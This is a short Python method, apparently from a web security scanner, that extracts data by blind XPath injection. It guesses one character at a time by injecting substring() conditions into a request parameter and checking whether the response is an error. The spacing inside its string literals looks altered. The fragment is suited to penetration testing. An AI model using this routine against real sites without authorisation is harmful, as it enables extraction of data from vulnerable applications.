':return: The character for position @pos in the XML.'

def get_char_in_pos(self, pos):

    mutant = self.get_mutant()
    for c in range(32, 127):
        orig_value = mutant.get_token_original_value()
        skip_len = ((len(orig_value) + len(self.STR_DELIM)) + len('    '))
        hexcar = chr(c)
        dataq = ('%s%s    and    substring(%s,%i,1)="%s"    %s' % (orig_value, self.STR_DELIM, XML_FILTER, pos, hexcar, self.TRUE_COND[skip_len:]))
        mutant.set_token_value(dataq)
        dresp = self._uri_opener.send_mutant(mutant)
        if (not self.is_error_resp(dresp.get_body())):
            om.out.console(('Character    found:    "%s"' % hexcar))
            return hexcar
    else:
        om.out.console('Character    NOT    found!')
        return None
